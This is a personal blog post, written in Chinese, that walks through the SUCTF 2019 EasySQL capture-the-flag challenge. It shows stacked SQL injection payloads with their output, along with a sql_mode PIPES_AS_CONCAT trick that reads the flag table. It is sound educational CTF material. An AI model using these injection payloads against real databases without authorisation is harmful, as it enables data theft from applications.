suyumen
目前主要在学习web相关

SUCTF-2019-EasySQL

2021-05-19 sql注入 堆叠注入
Word count: 348 | Reading time: 1min

POST数字后回显Array ( [0] => 1 )

字母后没有回显;

有长度限制;

过滤了OR ,& ,select * from ,flag

没有错误信息,,我尬住了。


堆叠注入

个人理解就是使用;闭合,造成执行多行sql命令效果。


继续看题,查询库名试一下:

1
1;show databases;

回显

1
2
3
4
5
6
7
Array ( [0] => 1 ) 
Array ( [0] => ctf )
Array ( [0] => ctftraining )
Array ( [0] => information_schema )
Array ( [0] => mysql )
Array ( [0] => performance_schema )
Array ( [0] => test )

查询表名:

1
1;show tables; 

回显了

1
Array ( [0] => 1 ) Array ( [0] => Flag )

看到了flag表,过滤了flag,读数据不会读呃呃。

逻辑是select $_POST[query] || flag from flag


SQL Mode

SQL Mode定义MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查。

设置SQL Mode

1
SELECT @@SQL_MODE, @@GLOBAL.SQL_MODE;

其中:

1
2
PIPES_AS_CONCAT
Allows using the pipe character (ASCII 124) as string concatenation operator. This means that can be used in place of ."A" || "B"CONCAT("A", "B")

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。

详细见手册


所以最后POST为:

1
1;set sql_mode=pipes_as_concat;select 1

不太明白的是,源语句的逻辑怎么看出来的,是因为注一些字符没有输出吗,可能还是要多积累吧。


Tips

1.oracle不能使用堆叠注入:若有两条语句在同一行报错。

2.没禁用show关键词->堆叠注入。


参考

MySQL sql_mode 说明

BUUCTF [SUCTF 2019]EasySQL

Author: suyumen

Link: https://suyumen.github.io/2021/05/19/2021-05-19-[SUCTF%202019]EasySQL/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
NCTF-2019-SQLi
NextPost >
SUCTF-2019-CheckIn
CATALOG
  1. 1. 堆叠注入
  2. 2. SQL Mode
  3. 3. Tips
    1. 3.1. 参考